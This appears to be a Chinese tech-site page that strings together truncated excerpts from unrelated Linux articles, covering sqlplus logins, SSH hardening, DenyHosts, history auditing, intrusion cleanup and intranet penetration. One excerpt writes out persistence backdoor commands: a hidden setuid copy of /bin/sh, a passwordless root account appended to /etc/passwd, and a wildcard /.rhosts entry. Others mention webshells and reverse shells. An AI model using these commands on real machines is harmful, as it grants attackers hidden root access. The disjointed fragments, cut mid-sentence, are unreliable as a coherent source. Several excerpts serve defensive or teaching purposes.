越来越多的人使用宝塔Linux面板来管理我们的服务器网站，最主要他是可视化的操作方式更加符合我们的一般用户习惯，同时对于没有技术知识的人来说就算是解决了大大的问题了。
环境变量，或者称为全局变量，存在与所有的shell 中，在你登陆系统的时候就已经有了相应的系统定义的环境变量了。Linux 的环境变量具有继承性，即子shell 会继承父shell 的环境变量。
who am i ~ 除了用户名，还显示登陆的终端、当前的日期和时间以及所使用的计算机的IP地址
-T表示不分配伪终端，/usr/bin/bash 表示在登录后调用bash命令 -i 表示是交互式shell
个人博客：https://suveng.github.io/blog/
Linux是一个多用户多任务的操作系统，可以在Linux中为不同的用户设置不同的运行环境，具体做法是设置不同用户的环境变量。
#ls -l /dev/sr* 确认光盘挂载的文件名称，假设为/dev/sr0#
3->LIST [m][*] [n](简写L)显示缓冲区的所有内容。* 当前行，m 第m行，n 第n行，m n 同时出现，m到n行
一.SQLPLUS登陆命令： 使用sqlplus： 10G之前的版本登陆时需要加引号（单、双引号皆可）如：sqlplus ” / as sysdba” sqlplus -prelim / as sysdba 从Oracle10g开始，sqlplus提供了一个参数选项-prelim，用这个参数，在系统已经hang的时候可以连接到SGA而不是数据库，也就是说没有session被创建。 sqlplus /nolog conn / as sysdba connect / assysdba conn sys/oracle assysdba SQL>conn bys/bys 已连接。 SQL>show user USER 为 “BYS” 使用服务名登陆，as sysdba即使用SYSDBA用户权限登陆 SQL>conn sys/oraclesys@orcl as sysdba 已连接。 查看用户权限： SQL>show user USER 为 “SYS” SQL>conn sys/oraclesys@orcl as sysoper 已连接。 SQL>show user USER 为 “PUBLIC” 登陆时可以使用IP+端口+服务名或主机名+端口+服务名 SQL>conn bys/bys@192.168.0.181:1521/orcl 已连接。 SQL>show user USER 为 “BYS” SQL>conn scott/tiger@xporacle:1521/orcl 已连接。 SQL>show user USER 为 “SCOTT” 总结如下： 直接在SQLPLUS启动时输入用户名密码的多种格式。 sqlplusscott/tiger sqlplus -prelim /nolog –数据库hang住时，可以这样登陆。 sqlplusscott/tiger@orcl sqlplus scott/tiger@192.168.2.18:1521/orcl sqlplusscott/tiger@xporacle:1521/orcl 如果监听运行在默认的1521端口，可以不写端口：如下： sqlplus bys/bys@192.168.1.211/bys3 如果不想在命令中输入密码，可以使用：或者为用监听名时： [oracle@bys3 dbs]$ sqlplus bys SQL*Plus: Release 11.2.0.4.0 Production on Thu Jan 16 20:26:51 2014 Copyright © 1982, 2013, Oracle. All rights reserved. Enter password: sqlplussys/oraclesys as sysdba
1. setuid #cp /bin/sh /tmp/.sh #chmod u+s /tmp/.sh 加上 suid 位到shell上，虽然很简单，但容易被发现 2. echo "hack::0:0::/:/bin/csh" >> /etc/passwd 即给系统增加一个 id 为 0（root)的帐号，无口令。 但管理员很快就可以发现哦！ 3.echo "++">>/.rhosts 如果这个系统开了512,513的port呵呵，就可以 把一个名为hack加到.rhosts文件中，rlog
1. 修改ssh默认连接22端口 和 添加防火墙firewalld 通过端口 步骤：
一个业务系统的服务器监控系统发来预警通知，磁盘空间使用率已经达到90%了，然后就登陆服务器搜索了下比较大的日志文件，全部都删除了（坑在此处埋上了），磁盘空间释放了一些，当时也是疏忽，没有确认查出并删除的文件大小的空间是否已经全部释放。没过几天，服务器又被预警了，比较纳闷，日志怎么增长的这么快，排查之后发现，原来是上次操作删除文件后，有个较大的文件空间没有释放导致的。
rabbitmq是使用erlang语言编写的，所以需要先安装erlang，其次rabbitmq安装依赖于socat，所以三个安装包都需要下载。另外rabbitmq对于erlang的版本是有要求的，这个可以去官网查看。
Linux的操作一起皆文件，Linux将所有的设备、文件、进程等都当做文件来处理，统一了对它们的操作方法，使得Linux具有了很高的灵活性和可扩展性。
DenyHosts 是一个开源且免费的基于日志的入侵防御安全程序. 它旨在通过阻止发起方来监视和分析 SSH 服务器日志中的无效登录尝试、基于字典的攻击和暴力攻击。IP 通过添加条目到地址 /etc/hosts.deny 服务器上的文件，并防止 IP 地址进行任何进一步的此类登录尝试。 如何在Linux中安装DenyHosts 默认情况下 DenyHosts Linux 系统中不包含该工具,使用以下yum 命令安装软件包。 # yum install -y denyhosts denyhosts配置文件说
Alt + Enter -- 全屏 Alt + B --打开新的连接 Alt + 1/2/3/4/5.../9 -- 切换到第1/2/3/4/5.../9个标签 Ctrl + A -- 光标移至行首。 Ctrl + B -- 光标前移1个字符 Ctrl + D -- 删除光标后1个字符 Ctrl + E -- 光标移至行末 Ctrl + F -- 光标后移1个字符 Ctrl + H -- 删除光标前的1个字符 Ctrl + J -- 回车 Ctrl + k -- 删除当前光标至行末的字符 Ctrl + P -- 显示前一条命令 Ctrl + M -- 回车 Ctrl + N -- 下一条命令 Ctrl + T -- 交换光标前最后两个字符（思科路由器可用） Ctrl + U -- 清除当前行和缓存的输入 Ctrl + V -- 输入ctrl字符 Ctrl + W -- 删除当前光标至行首的字符
有些情况下，虚拟机安装完毕，使用一段时间root密码失效，这时无法登陆，可以使用如下步骤清除密码：
linux下历史命令通常有两大用处，一个是快速复用，另外是审计，快速复用在之前的文章linux命令行技巧中提过，有兴趣的可以去看看，今天主要说审计部分，分两部分：记录历史命令和隐藏命令行历史，分别针对运维防护及入侵渗透，下面分别介绍
passwd命令用于设置用户的认证信息，包括用户密码、账户锁定、密码失效等。直接运行passwd命令修改当前的用户密码，对其他用户的密码操作需要管理员权限。
一般来说，在进行实际应用的开发过程中，应用会拥有不同的运行环境，通常会有以下环境：
作为一名合格的 Linux 运维工程师，一定要有一套清晰、明确的解决故障思路，当问题出现时，才能迅速定位、解决问题，这里给出一个处理问题的一般思路：
来源:CU技术社区 ID:ChinaUnix2013 作为一名合格的 Linux 运维工程师，一定要有一套清晰、明确的解决故障思路，当问题出现时，才能迅速定位、解决问题，这里给出一个处理问题的一般思路： 重视报错提示信息：每个错误的出现，都是给出错误提示信息，一般情况下这个提示基本定位了问题的所在，因此一定要重视这个报错信息，如果对这些错误信息视而不见，问题永远得不到解决。 查阅日志文件：有时候报错信息只是给出了问题的表面现象，要想更深入的了解问题，必须查看相应的日志文件，而日志文件又分为系统日志文件（/
写在前面 跟web渗透（上一篇）不同，内网渗透需要更多的随机性和突破口，情况较为复杂，遇到障碍，有时可以换种思路突破，很多时候则无奈的只能止步于此。下面分享一些自己总结的内网渗透经验。主要是以windows下的操作为主。 0×01 斗转星移 （在拿到webshell的时候，想办法获取系统信息拿到系统权限） 一、通过常规web渗透，已经拿到webshell。那么接下来作重要的就是探测系统信息，提权，针对windows想办法开启远程桌面连接，针对linux想办法使用反弹shell来本地连接。 ① Webshel
本文由马哥教育Linux云计算面授班23期学员推荐，转载自互联网，作者为Lis，Linux资深技术专家，内容略经小编改编和加工，观点跟作者无关，最后感谢作者的辛苦贡献与付出。 与windows系统一样，linux操作系统也会存在很多问题和故障，很多linux新手都害怕故障，面对出现的问题显得无可奈何，更有甚者，由此放弃了linux，其实，我们不应该惧怕问题，学习就是一个发现问题与解决问题的过程，只要掌握了解决问题的基本思路，一切故障都会迎刃而解，当然前提是我们已经具备了解决问题的思路和扎实的知识功底。
Linux.BackDoor.Gates.5 链接：https://forum.antichat.ru/threads/413337/
前面我们讲解了在Ubuntu图形界面下怎么新建目录、新建文件等等。 来提个问题：除了这个图形界面，Ubuntu下面有没有其它的方式也可以创建目录、创建文件呢？ 我们回到比较熟悉的Windows界面，或许大家听说过dos命令行工具，没有听说过也没关系，同时按下“Windows键”和“R键”，输入cmd，再点击“确定”，就出现了命令工具。
攻击者在获取系统权限后，通常会留下后门以便再次访问。本文将对Linux下常见的权限维持技术进行解析，知己知彼百战不殆。
欢迎使用 wechat-chatgpt 在微信上迅速接入 ChatGPT，让它成为你最好的助手！ English | 中文文档 功能点 使用 WeChat 和 ChatGPT 进行互动： 基于 wechaty 和 Official API 在微信中使用 ChatGPT 支持多轮对话 支持命令设置 部署和配置选项： 提供 Dockerfile，可以通过 docker 进行部署 支持使用 docker compose 进行部署 支持在 Railway 和 Fly.io 上部署 其他功能： 支持 Da
原文链接:https://rumenz.com/rumenbiji/linux-history-skill.html
系统管理员能用它管理系统用户的密码，只有管理员可以指定用户名称，一般用户只能变更自己的密码。
当我们被告知一台Linux服务器被黑客入侵，黑客利用该服务器进行挖矿，并且在该服务器上放置了木马后门。现在我们需要对该服务器做排查，关闭和清除掉挖矿程序以及木马后门，探测出黑客是通过什么方式入侵该服务器的，并且最后要将该漏洞进行修补，以确保服务器的正常运行。
Chain RH-Firewall-1-INPUT (0 references)
开放了22远程登陆，开放了外网，就有可能被暴力破解登陆，对方一直尝试root密码而登陆进去了。
如果没有一定的攻击基础，以及扎实的开发功底，想要做好防御是不可能的，因此想要在AD类竞赛中做好防御，首先是有足够的基础，这里面的基础有很多，大概包括以下几个方面：
一、什么是history 在bash功能中，它能记忆使用过的命令，这个功能最大的好处就是可以查询曾经做过的举动！ 从而可以知道你的运行步骤，那么就可以追踪你曾下达过的命令，以作为除错的工具！
Linux文件或者目录名称最长可以有265个字符，“.”代表当前目录，“..”代表上一级目录，以“.”开头的文件为隐藏文件，需要用-a参数才能显示。
昨晚凌晨收到新客户的安全求助，说是阿里云短信提示，网站有webshell木马文件被植入，我们SINE安全公司立即成立，安全应急响应小组，客户提供了阿里云的账号密码，随即登陆阿里云进去查看到详情，登陆云盾看到有这样的一个安全提示“网站后门-发现后门(Webshell)文件”事件等级：紧急，影响资产：阿里云ECS：ID，然后贴出了网站木马文件的路径地址：/www/wangzhan/safe/indnx.php。
让我吐槽一下先，坑爹啊。。我只是想换个换个win7&linux双系统而已啊，之前换过几百台都没出错，怎么这次装了一下午都失败啊，，各种硬盘错误，各种内存出错，要么是装上系统，看着下一步，鼠标键盘没法点，我++。。算了，没法吐槽。反正最后只装上了ubuntu。。
Linux用户在登陆到Linux服务器时，一些登陆的提示欢迎信息，以及特定的环境配置等等都按预先设定好的配置来生效。Linux中的这个shell环境会读取很多不同的配置文件来达成上述目的，同时还有登陆shell与非登陆shell的区分。本文对此作简要描述，供大家参考！
文章更新: 20161019 初次成文 问题提出: 在写这篇文章之前，小苏本身有一台腾讯云的学生主机，但是因为域名没有备案的原因，小苏一直没有把网站部署在腾讯云上。最近小苏比较有时间，于是就在腾讯云申请了域名备案。在写这篇文章的时候，小苏已经通过了域名备案初审在等待幕布到货了。 根据管局要求，域名备案期间要求网站不能正常访问才可以通过备案，所以这篇文章可能是mlapp.cn这个域名在备案之前的最后一篇文章了。 于是写篇文章来纪念一下(这个理由也太牵强了吧)。 解决方案: 在这篇文章中，
记得有一次魏艾斯博客测试项目，安装宝塔面板后忘记了默认登陆密码，当时也没保存，为了一个密码重装一次宝塔面板要浪费时间，幸好宝塔面板考虑周到，可以用 SSH 软件登陆到服务器上，输入以下命令回车找回默认
ls是英文单词list的简写，其功能为列出目录的内容，是用户最常用的命令之一，它类似于DOS下的dir命令。
在排查服务器的时候，黑客没有在线，可以使用last命令排查黑客什么时间登录的有的黑客登录时，会将/var/log/wtmp文件删除或者清空，这样我们就无法使用last命令获得有用的信息了。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
即时通信 IM
对象存储
